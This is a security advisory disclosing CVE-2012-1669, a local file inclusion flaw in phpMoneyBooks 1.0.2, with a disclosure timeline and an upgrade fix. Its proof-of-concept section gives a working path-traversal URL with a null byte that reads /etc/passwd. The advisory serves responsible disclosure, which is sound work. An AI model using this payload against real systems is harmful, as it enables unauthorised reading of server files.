'phpMoneyBooks' Local File Inclusion (CVE-2012-1669) Mark Stanislav - mark.stanislav@gmail.com I. DESCRIPTION --------------------------------------- A vulnerability exists in index.php for module handling that allows for local file inclusion using a null-byte attack on the 'module' GET parameter. II. TESTED VERSION --------------------------------------- 1.0.2 III. PoC EXPLOIT --------------------------------------- http://localhost/phpMoneyBooks102/index.php?module=../../../../../etc/passwd%00 IV. NOTES --------------------------------------- * magic_quotes_gpc must be disabled and PHP must be < 5.3.4 for null-byte attacks to work V. SOLUTION --------------------------------------- Upgrade to 1.0.3 or above. VI. REFERENCES --------------------------------------- http://phpmoneybooks.com/ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1669 VII. TIMELINE --------------------------------------- 02/29/2012 - Initial vendor disclosure 03/01/2012 - Vendor patched and released an updated version 03/22/2012 - Public disclosure